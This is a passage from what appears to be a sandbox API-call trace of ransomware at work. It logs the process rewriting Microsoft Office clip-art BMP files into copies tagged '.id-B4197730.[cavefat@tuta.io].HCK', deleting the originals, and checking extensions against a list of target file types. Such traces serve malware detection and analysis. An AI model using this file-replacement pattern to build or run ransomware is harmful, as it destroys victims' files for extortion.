Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.875] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.875] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.877] GetLastError () returned 0x0 [0179.877] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7d84, lpOverlapped=0x0) returned 1 [0179.879] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7d90, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7d90, lpOverlapped=0x0) returned 1 [0179.880] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.880] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.880] SetEndOfFile (hFile=0x370) returned 1 [0179.881] CloseHandle (hObject=0x370) returned 1 [0179.884] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.884] SetEndOfFile (hFile=0x300) returned 1 [0179.885] CloseHandle (hObject=0x300) returned 1 [0179.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746u.bmp")) returned 1 [0179.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP") returned 68 [0179.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP") returned 68 [0179.890] lstrlenW (lpString=".doc") returned 4 [0179.890] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.891] lstrlenW (lpString=".docx") returned 5 [0179.891] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.891] lstrlenW (lpString=".pdf") returned 4 [0179.891] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.891] lstrlenW (lpString=".xls") returned 4 [0179.891] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.891] lstrlenW (lpString=".xlsx") returned 5 [0179.891] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.891] lstrlenW (lpString=".ppt") returned 4 [0179.891] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP") returned 68 [0179.891] lstrlenW (lpString=".zip") returned 4 [0179.891] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.891] lstrlenW (lpString=".rar") returned 4 [0179.891] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.891] lstrlenW (lpString=".bz2") returned 4 [0179.891] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.891] lstrlenW (lpString=".7z") returned 3 [0179.891] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP") returned 68 [0179.891] lstrlenW (lpString=".dbf") returned 4 [0179.891] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP") returned 68 [0179.891] lstrlenW (lpString=".1cd") returned 4 [0179.891] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP") returned 68 [0179.891] lstrlenW (lpString=".jpg") returned 4 [0179.891] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP") returned 68 [0179.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP") returned 68 [0179.891] lstrlenW (lpString=".doc") returned 4 [0179.891] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.891] lstrlenW (lpString=".docx") returned 5 [0179.891] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.891] lstrlenW (lpString=".pdf") returned 4 [0179.891] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.891] lstrlenW (lpString=".xls") returned 4 [0179.891] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.891] lstrlenW (lpString=".xlsx") returned 5 [0179.891] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.891] lstrlenW (lpString=".ppt") returned 4 [0179.891] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP") returned 68 [0179.891] lstrlenW (lpString=".zip") returned 4 [0179.891] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.891] lstrlenW (lpString=".rar") returned 4 [0179.891] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.891] lstrlenW (lpString=".bz2") returned 4 [0179.891] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.891] lstrlenW (lpString=".7z") returned 3 [0179.891] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP") returned 68 [0179.891] lstrlenW (lpString=".dbf") returned 4 [0179.891] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP") returned 68 [0179.892] lstrlenW (lpString=".1cd") returned 4 [0179.892] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP") returned 68 [0179.892] lstrlenW (lpString=".jpg") returned 4 [0179.892] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.892] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.892] lstrlenW (lpString="PH02749U.BMP") returned 12 [0179.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.897] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=33048) returned 1 [0179.898] CloseHandle (hObject=0x370) returned 1 [0179.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749u.bmp")) returned 0x220 [0179.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.903] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.903] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.906] GetLastError () returned 0x0 [0179.906] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x8118, lpOverlapped=0x0) returned 1 [0179.909] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x8120, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x8120, lpOverlapped=0x0) returned 1 [0179.911] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.911] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.911] SetEndOfFile (hFile=0x370) returned 1 [0179.911] CloseHandle (hObject=0x370) returned 1 [0179.913] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.913] SetEndOfFile (hFile=0x300) returned 1 [0179.918] CloseHandle (hObject=0x300) returned 1 [0179.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749u.bmp")) returned 1 [0179.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP") returned 68 [0179.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP") returned 68 [0179.924] lstrlenW (lpString=".doc") returned 4 [0179.924] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.924] lstrlenW (lpString=".docx") returned 5 [0179.924] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.924] lstrlenW (lpString=".pdf") returned 4 [0179.924] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.924] lstrlenW (lpString=".xls") returned 4 [0179.924] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.924] lstrlenW (lpString=".xlsx") returned 5 [0179.924] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.924] lstrlenW (lpString=".ppt") returned 4 [0179.924] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP") returned 68 [0179.924] lstrlenW (lpString=".zip") returned 4 [0179.924] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.924] lstrlenW (lpString=".rar") returned 4 [0179.924] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.925] lstrlenW (lpString=".bz2") returned 4 [0179.925] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.925] lstrlenW (lpString=".7z") returned 3 [0179.925] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP") returned 68 [0179.925] lstrlenW (lpString=".dbf") returned 4 [0179.925] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP") returned 68 [0179.925] lstrlenW (lpString=".1cd") returned 4 [0179.925] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP") returned 68 [0179.925] lstrlenW (lpString=".jpg") returned 4 [0179.925] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP") returned 68 [0179.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP") returned 68 [0179.925] lstrlenW (lpString=".doc") returned 4 [0179.925] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.925] lstrlenW (lpString=".docx") returned 5 [0179.925] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.925] lstrlenW (lpString=".pdf") returned 4 [0179.925] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.925] lstrlenW (lpString=".xls") returned 4 [0179.925] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.925] lstrlenW (lpString=".xlsx") returned 5 [0179.925] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.925] lstrlenW (lpString=".ppt") returned 4 [0179.925] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP") returned 68 [0179.925] lstrlenW (lpString=".zip") returned 4 [0179.925] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.925] lstrlenW (lpString=".rar") returned 4 [0179.925] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.925] lstrlenW (lpString=".bz2") returned 4 [0179.925] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.925] lstrlenW (lpString=".7z") returned 3 [0179.925] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP") returned 68 [0179.925] lstrlenW (lpString=".dbf") returned 4 [0179.925] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP") returned 68 [0179.925] lstrlenW (lpString=".1cd") returned 4 [0179.925] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.BMP") returned 68 [0179.925] lstrlenW (lpString=".jpg") returned 4 [0179.925] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.925] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.925] lstrlenW (lpString="PH02753U.BMP") returned 12 [0179.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02753u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.926] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=108216) returned 1 [0179.926] CloseHandle (hObject=0x370) returned 1 [0179.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02753u.bmp")) returned 0x220 [0179.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02753u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02753u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.931] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.931] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02753u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.932] GetLastError () returned 0x0 [0179.933] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1a6b8, lpOverlapped=0x0) returned 1 [0179.937] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1a6c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1a6c0, lpOverlapped=0x0) returned 1 [0179.938] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.938] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.938] SetEndOfFile (hFile=0x39c) returned 1 [0179.943] CloseHandle (hObject=0x39c) returned 1 [0179.951] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.951] SetEndOfFile (hFile=0x2fc) returned 1 [0179.953] CloseHandle (hObject=0x2fc) returned 1 [0179.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02753u.bmp")) returned 1 [0179.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP") returned 68 [0179.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP") returned 68 [0179.957] lstrlenW (lpString=".doc") returned 4 [0179.957] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.957] lstrlenW (lpString=".docx") returned 5 [0179.957] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.957] lstrlenW (lpString=".pdf") returned 4 [0179.957] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.957] lstrlenW (lpString=".xls") returned 4 [0179.957] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.957] lstrlenW (lpString=".xlsx") returned 5 [0179.957] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.957] lstrlenW (lpString=".ppt") returned 4 [0179.957] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP") returned 68 [0179.957] lstrlenW (lpString=".zip") returned 4 [0179.957] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.957] lstrlenW (lpString=".rar") returned 4 [0179.957] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.957] lstrlenW (lpString=".bz2") returned 4 [0179.957] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.957] lstrlenW (lpString=".7z") returned 3 [0179.957] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP") returned 68 [0179.957] lstrlenW (lpString=".dbf") returned 4 [0179.957] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP") returned 68 [0179.957] lstrlenW (lpString=".1cd") returned 4 [0179.957] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP") returned 68 [0179.957] lstrlenW (lpString=".jpg") returned 4 [0179.957] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP") returned 68 [0179.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP") returned 68 [0179.957] lstrlenW (lpString=".doc") returned 4 [0179.957] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.957] lstrlenW (lpString=".docx") returned 5 [0179.957] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.957] lstrlenW (lpString=".pdf") returned 4 [0179.957] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.957] lstrlenW (lpString=".xls") returned 4 [0179.957] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.957] lstrlenW (lpString=".xlsx") returned 5 [0179.957] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.957] lstrlenW (lpString=".ppt") returned 4 [0179.957] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP") returned 68 [0179.957] lstrlenW (lpString=".zip") returned 4 [0179.957] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.957] lstrlenW (lpString=".rar") returned 4 [0179.957] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.957] lstrlenW (lpString=".bz2") returned 4 [0179.957] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.958] lstrlenW (lpString=".7z") returned 3 [0179.958] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP") returned 68 [0179.958] lstrlenW (lpString=".dbf") returned 4 [0179.958] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP") returned 68 [0179.958] lstrlenW (lpString=".1cd") returned 4 [0179.958] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP") returned 68 [0179.958] lstrlenW (lpString=".jpg") returned 4 [0179.958] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.958] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.958] lstrlenW (lpString="PH02757U.BMP") returned 12 [0179.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02757u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.964] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=197640) returned 1 [0179.964] CloseHandle (hObject=0x2fc) returned 1 [0179.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02757u.bmp")) returned 0x220 [0179.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02757u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02757u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.968] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: 